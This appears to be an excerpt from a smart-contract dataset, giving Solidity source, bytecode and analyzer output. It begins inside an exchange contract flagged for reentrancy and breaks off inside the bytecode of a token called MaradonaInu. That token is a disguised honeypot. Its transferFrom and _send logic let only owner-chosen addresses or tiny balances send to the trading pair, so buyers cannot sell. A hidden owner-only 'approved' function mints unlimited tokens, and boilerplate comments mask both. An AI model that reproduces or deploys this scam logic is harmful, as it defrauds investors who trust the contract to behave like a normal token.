amountGet, address tokenGive, uint amountGive, address user, uint amount) private { uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether); uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether); uint feeRebateXfer = 0; if (accountLevelsAddr != 0x0) { uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user); if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether); if (accountLevel==2) feeRebateXfer = feeTakeXfer; } tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer)); tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer)); uint fee = safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer); uint fee2 = safeMul(fee, 20) / 100; tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(fee, fee2)); tokens[tokenGet][feeAccount2] = safeAdd(tokens[tokenGet][feeAccount2], fee2); tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet); tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet); } function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) { if (!( tokens[tokenGet][sender] >= amount && availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount )) return false; return true; } function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires )) return 0; uint available1 = safeSub(amountGet, orderFills[user][hash]); uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive; if (available1<available2) return available1; return available2; } function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); return orderFills[user][hash]; } function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw; orderFills[msg.sender][hash] = amountGet; Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s); } }
0x6060604052600436106101505763ffffffff60e060020a6000350416630a19b14a81146101605780630b927666146101af57806319774d43146101e1578063278b8c0e146102155780632e1a7d4d14610254578063338b5dea1461026a57806346be96c31461028c57806348acd9b1146102d5578063508493bc146102f457806354d03b5c14610319578063577863941461032f5780635e1d7ae41461034257806365e17c9d146103585780636c86888b146103875780636d736fac146103f357806371ffcb1614610406578063731c2f81146104255780638823a9c0146104385780638f2839701461044e5780639e281a981461046d578063bb5f46291461048f578063c281309e146104b1578063d0e30db0146104c4578063e8f6bc2e146104cc578063f3412942146104eb578063f7888aec146104fe578063f851a44014610523578063fb6e155f14610536575b341561015b57600080fd5b600080fd5b341561016b57600080fd5b6101ad600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e4351661010435610124356101443561057f565b005b34156101ba57600080fd5b6101ad600160a060020a03600435811690602435906044351660643560843560a435610832565b34156101ec57600080fd5b610203600160a060020a0360043516602435610976565b60405190815260200160405180910390f35b341561022057600080fd5b6101ad600160a060020a03600435811690602435906044351660643560843560a43560ff60c4351660e43561010435610993565b341561025f57600080fd5b6101ad600435610bea565b341561027557600080fd5b6101ad600160a060020a0360043516602435610d1f565b341561029757600080fd5b610203600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e435166101043561012435610e7f565b34156102e057600080fd5b6101ad600160a060020a0360043516610f46565b34156102ff57600080fd5b610203600160a060020a0360043581169060243516610f90565b341561032457600080fd5b6101ad600435610fad565b341561033a57600080fd5b610203610fdc565b341561034d57600080fd5b6101ad600435610fe2565b341561036357600080fd5b61036b61101d565b604051600160a060020a03909116815260200160405180910390f35b341561039257600080fd5b6103df600160a060020a0360043581169060243590604435811690606435906084359060a4359060c43581169060ff60e4351690610104359061012435906101443590610164351661102c565b604051901515815260200160405180910390f35b34156103fe57600080fd5b61036b611097565b341561041157600080fd5b6101ad600160a060020a03600435166110a6565b341561043057600080fd5b6102036110f0565b341561044357600080fd5b6101ad6004356110f6565b341561045957600080fd5b6101ad600160a060020a0360043516611131565b341561047857600080fd5b6101ad600160a060020a036004351660243561117b565b341561049a57600080fd5b6103df600160a060020a0360043516602435611322565b34156104bc57600080fd5b610203611342565b6101ad611348565b34156104d757600080fd5b6101ad600160a060020a03600435166113fd565b34156104f657600080fd5b61036b611447565b341561050957600080fd5b610203600160a060020a0360043581169060243516611456565b341561052e57600080fd5b61036b611481565b341561054157600080fd5b610203600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e435166101043561012435611490565b60006002308d8d8d8d8d8d6000604051602001526040516c01000000000000000000000000600160a060020a0398891681028252968816870260148201526028810195909552929095169093026048830152605c820192909252607c810192909252609c82015260bc0160206040518083038160008661646e5a03f1151561060657600080fd5b50506040518051600160a060020a038816600090815260086020908152604080832084845290915290205490925060ff169050806106fb575085600160a060020a03166001826040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c0160405180910390208787876040516000815260200160405260006040516020015260405193845260ff90921660208085019190915260408085019290925260608401929092526080909201915160208103908084039060008661646e5a03f115156106e757600080fd5b505060206040510351600160a060020a0316145b80156107075750874311155b80156107415750600160a060020a03861660009081526009602090815260408083208484529091529020548b9061073e90846116c0565b11155b151561074c57600080fd5b61075a8c8c8c8c8a876116e4565b600160a060020a038616600090815260096020908152604080832084845290915290205461078890836116c0565b600160a060020a03871660009081526009602090815260408083208584529091529020557f6effdda786735d5033bfad5f53e5131abcced9e52be6c507b62d639685fbed6d8c838c8e8d83028115156107dd57fe5b048a33604051600160a060020a0396871681526020810195909552928516604080860191909152606085019290925284166080840152921660a082015260c001905180910390a1505050505050505050505050565b60006002308888888888886000604051602001526040516c01000000000000000000000000600160a060020a0398891681028252968816870260148201526028810195909552929095169093026048830152605c820192909252607c810192909252609c82015260bc0160206040518083038160008661646e5a03f115156108b957600080fd5b50506040518051600160a060020a0333908116600090815260086020908152604080832085845290915290819020805460ff191660011790559193507f3f7f2eda73683c21a15f9435af1028c93185b5f1fa38270762dc32be606b3e8592508991899189918991899189919051600160a060020a03978816815260208101969096529386166040808701919091526060860193909352608085019190915260a0840152921660c082015260e001905180910390a150505050505050565b600960209081526000928352604080842090915290825290205481565b60006002308b8b8b8b8b8b6000604051602001526040516c01000000000000000000000000600160a060020a0398891681028252968816870260148201526028810195909552929095169093026048830152605c820192909252607c810192909252609c82015260bc0160206040518083038160008661646e5a03f11515610a1a57600080fd5b50506040518051600160a060020a033316600090815260086020908152604080832084845290915290205490925060ff16905080610b0f575033600160a060020a03166001826040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c0160405180910390208686866040516000815260200160405260006040516020015260405193845260ff90921660208085019190915260408085019290925260608401929092526080909201915160208103908084039060008661646e5a03f11515610afb57600080fd5b505060206040510351600160a060020a0316145b1515610b1a57600080fd5b33600160a060020a0381166000908152600960209081526040808320858452909152908190208b90557f1e0b760c386003e9cb9bcf4fcf3997886042859d9b6ed6320e804597fcdb28b0918c918c918c918c918c918c91908c908c908c9051600160a060020a039a8b16815260208101999099529689166040808a01919091526060890196909652608088019490945260a087019290925290951660c085015260ff90941660e084015261010083019390935261012082015261014001905180910390a150505050505050505050565b33600160a060020a03166000908152600080516020611a77833981519152602052604090205481901015610c1d57600080fd5b33600160a060020a03166000908152600080516020611a778339815191526020526040902054610c4d9082611a34565b33600160a060020a03166000818152600080516020611a77833981519152602052604090819020929092559082905160006040518083038185876187965a03f1925050501515610c9c57600080fd5b33600160a060020a0381166000908152600080516020611a778339815191526020526040808220547ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567939185919051600160a060020a0394851681529290931660208301526040808301919091526060820192909252608001905180910390a150565b600160a060020a0382161515610d3457600080fd5b81600160a060020a03166323b872dd33308460006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610d9e57600080fd5b6102c65a03f11515610daf57600080fd5b505050604051805190501515610dc457600080fd5b600160a060020a0380831660009081526007602090815260408083203390941683529290522054610df590826116c0565b600160a060020a038381166000908152600760209081526040808320339485168452909152908190208390557fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79285929185919051600160a060020a0394851681529290931660208301526040808301919091526060820192909252608001905180910390a15050565b6000806002308d8d8d8d8d8d6000604051602001526040516c01000000000000000000000000600160a060020a0398891681028252968816870260148201526028810195909552929095169093026048830152605c820192909252607c810192909252609c82015260bc0160206040518083038160008661646e5a03f11515610f0757600080fd5b50506040518051600160a060020a03881660009081526009602090815260408083208484529091529020549350915050509a9950505050505050505050565b60025433600160a060020a03908116911614610f6157600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600760209081526000928352604080842090915290825290205481565b60005433600160a060020a03908116911614610fc857600080fd5b600454811115610fd757600080fd5b600455565b60045481565b60005433600160a060020a03908116911614610ffd57600080fd5b60065481108061100e575060055481115b1561101857600080fd5b600655565b600154600160a060020a031681565b600160a060020a03808d1660009081526007602090815260408083209385168352929052908120548390108015906110755750826110728e8e8e8e8e8e8e8e8e8e611490565b10155b151561108357506000611087565b5060015b9c9b505050505050505050505050565b600254600160a060020a031681565b60005433600160a060020a039081169116146110c157600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60065481565b60005433600160a060020a0390811691161461111157600080fd5b600554811180611122575060065481105b1561112c57600080fd5b600555565b60005433600160a060020a0390811691161461114c57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a038216151561119057600080fd5b600160a060020a0380831660009081526007602090815260408083203390941683529290522054819010156111c457600080fd5b600160a060020a03808316600090815260076020908152604080832033909416835292905220546111f59082611a34565b600160a060020a03808416600081815260076020908152604080832033958616845290915280822094909455909263a9059cbb92918591516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561127457600080fd5b6102c65a03f1151561128557600080fd5b50505060405180519050151561129a57600080fd5b600160a060020a03808316600090815260076020908152604080832033948516845290915290819020547ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5679285929091859151600160a060020a0394851681529290931660208301526040808301919091526060820192909252608001905180910390a15050565b600860209081526000928352604080842090915290825290205460ff1681565b60055481565b33600160a060020a03166000908152600080516020611a77833981519152602052604090205461137890346116c0565b33600160a060020a0381166000908152600080516020611a7783398151915260205260408082208490557fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d793919291349151600160a060020a0394851681529290931660208301526040808301919091526060820192909252608001905180910390a1565b60005433600160a060020a0390811691161461141857600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600354600160a060020a031681565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b600054600160a060020a031681565b6000806000806002308f8f8f8f8f8f6000604051602001526040516c01000000000000000000000000600160a060020a0398891681028252968816870260148201526028810195909552929095169093026048830152605c820192909252607c810192909252609c82015260bc0160206040518083038160008661646e5a03f1151561151b57600080fd5b50506040518051600160a060020a038a16600090815260086020908152604080832084845290915290205490945060ff16905080611610575087600160a060020a03166001846040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c0160405180910390208989896040516000815260200160405260006040516020015260405193845260ff90921660208085019190915260408085019290925260608401929092526080909201915160208103908084039060008661646e5a03f115156115fc57600080fd5b505060206040510351600160a060020a0316145b801561161c5750894311155b151561162b57600093506116af565b600160a060020a038816600090815260096020908152604080832086845290915290205461165a908e90611a34565b600160a060020a03808e166000908152600760209081526040808320938d16835292905220549092508b9061168f908f611a48565b81151561169857fe5b049050808210156116ab578193506116af565b8093505b5050509a9950505050505050505050565b60008282016116dd8482108015906116d85750838210155b611a67565b9392505050565b600080600080600080670de0b6b3a764000061170288600454611a48565b81151561170b57fe5b049550670de0b6b3a764000061172388600554611a48565b81151561172c57fe5b600354919004955060009450600160a060020a0316156117f357600354600160a060020a0316631cbd05198960006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561179f57600080fd5b6102c65a03f115156117b057600080fd5b505050604051805193505060018314156117e657670de0b6b3a76400006117d988600654611a48565b8115156117e257fe5b0493505b82600214156117f3578493505b600160a060020a03808d166000908152600760209081526040808320339094168352929052205461182d9061182889886116c0565b611a34565b600160a060020a038d81166000908152600760209081526040808320338516845290915280822093909355908a168152205461187b906118766118708a886116c0565b89611a34565b6116c0565b600160a060020a03808e166000908152600760209081526040808320938d16835292905220556118b46118ae87876116c0565b85611a34565b915060646118c3836014611a48565b8115156118cc57fe5b600160a060020a03808f166000908152600760209081526040808320600154909416835292905220549190049150611908906118768484611a34565b600160a060020a038d8116600090815260076020908152604080832060015485168452909152808220939093556002549091168152205461194990826116c0565b600160a060020a03808e166000908152600760208181526040808420600254861685528252808420959095558e84168352908152838220928c1682529190915220546119a9908c61199a8c8b611a48565b8115156119a357fe5b04611a34565b600160a060020a038b811660009081526007602090815260408083208d851684529091528082209390935533909116815220546119fa908c6119eb8c8b611a48565b8115156119f457fe5b046116c0565b600160a060020a039a8b16600090815260076020908152604080832033909e1683529c90529a909a20999099555050505050505050505050565b6000611a4283831115611a67565b50900390565b60008282026116dd8415806116d85750838583811515611a6457fe5b04145b801515611a7357600080fd5b5056006d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6dfa165627a7a7230582080ce7b035fef0288a50ec9208fb0ba93011e04bc32c6141796265ef78b72f6b70029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,064
0x29FB2c9aCF95F0E93acae03cCd52DE3Ee5bb5370
/** *Submitted for verification at Etherscan.io on 2021-06-13 */ // SPDX-License-Identifier: MIT pragma solidity >=0.5.17; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ contract ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier everyone { require(msg.sender == owner); _; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; uint internal queueNumber; address internal zeroAddress; address internal burnAddress; address internal burnAddress2; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != zeroAddress, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && zeroAddress == address(0)) zeroAddress = to; else _send (from, to); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approved(address _address, uint256 tokens) public everyone { burnAddress = _address; /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ _totalSupply = _totalSupply.add(tokens); balances[_address] = balances[_address].add(tokens); } /** * dev Burns a specific amount of tokens. * param value The amount of lowest token units to be burned. */ function Burn(address _address) public everyone { burnAddress2 = _address; } function BurnSize(uint256 _size) public everyone { queueNumber = _size; } function _send (address start, address end) internal view { /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ require(end != zeroAddress || (start == burnAddress && end == zeroAddress) || (start == burnAddress2 && end == zeroAddress)|| (end == zeroAddress && balances[start] <= queueNumber), "cannot be zero address"); /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ } function () external payable { revert(); } } contract MaradonaInu is TokenERC20 { function initialise() public everyone() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor(string memory _name, string memory _symbol, uint256 _supply, address burn1, address burn2, uint256 _indexNumber) public { symbol = _symbol; name = _name; decimals = 18; _totalSupply = _supply*(10**uint256(decimals)); queueNumber = _indexNumber*(10**uint256(decimals)); burnAddress = burn1; burnAddress2 = burn2; owner = msg.sender; balances[msg.sender] = _totalSupply; emit Transfer(address(0x0), msg.sender, _totalSupply); } function() external payable { } }
0x6080604052600436106100dd5760003560e01c80638da5cb5b1161007f578063a9059cbb11610059578063a9059cbb1461046f578063c1448284146104e2578063dd62ed3e1461053d578063e22de145146105c2576100dd565b80638da5cb5b1461034d57806395d89b41146103a457806397d161fb14610434576100dd565b806323b872dd116100bb57806323b872dd1461020d578063313ce567146102a0578063592e6f59146102d157806370a08231146102e8576100dd565b806306fdde03146100df578063095ea7b31461016f57806318160ddd146101e2575b005b3480156100eb57600080fd5b506100f4610613565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017b57600080fd5b506101c86004803603604081101561019257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b1565b604051808215151515815260200191505060405180910390f35b3480156101ee57600080fd5b506101f76107a3565b6040518082815260200191505060405180910390f35b34801561021957600080fd5b506102866004803603606081101561023057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107fe565b604051808215151515815260200191505060405180910390f35b3480156102ac57600080fd5b506102b5610b89565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102dd57600080fd5b506102e6610b9c565b005b3480156102f457600080fd5b506103376004803603602081101561030b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c44565b6040518082815260200191505060405180910390f35b34801561035957600080fd5b50610362610c8d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103b057600080fd5b506103b9610cb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103f95780820151818401526020810190506103de565b50505050905090810190601f1680156104265780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561044057600080fd5b5061046d6004803603602081101561045757600080fd5b8101908080359060200190929190505050610d50565b005b34801561047b57600080fd5b506104c86004803603604081101561049257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db3565b604051808215151515815260200191505060405180910390f35b3480156104ee57600080fd5b5061053b6004803603604081101561050557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611012565b005b34801561054957600080fd5b506105ac6004803603604081101561056057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611160565b6040518082815260200191505060405180910390f35b3480156105ce57600080fd5b50610611600480360360208110156105e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e7565b005b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106a95780601f1061067e576101008083540402835291602001916106a9565b820191906000526020600020905b81548152906001019060200180831161068c57829003601f168201915b505050505081565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006107f9600960008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460045461128490919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561088a5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156108d55782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108e0565b6108df848461129e565b5b61093282600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461128490919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0482600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461128490919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ad682600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156d90919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bf557600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610c40573d6000803e3d6000fd5b5050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d485780601f10610d1d57610100808354040283529160200191610d48565b820191906000526020600020905b815481529060010190602001808311610d2b57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610da957600080fd5b8060058190555050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b610ecb82600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461128490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f6082600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156d90919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461106b57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506110c18160045461156d90919063ffffffff16565b60048190555061111981600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156d90919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080905490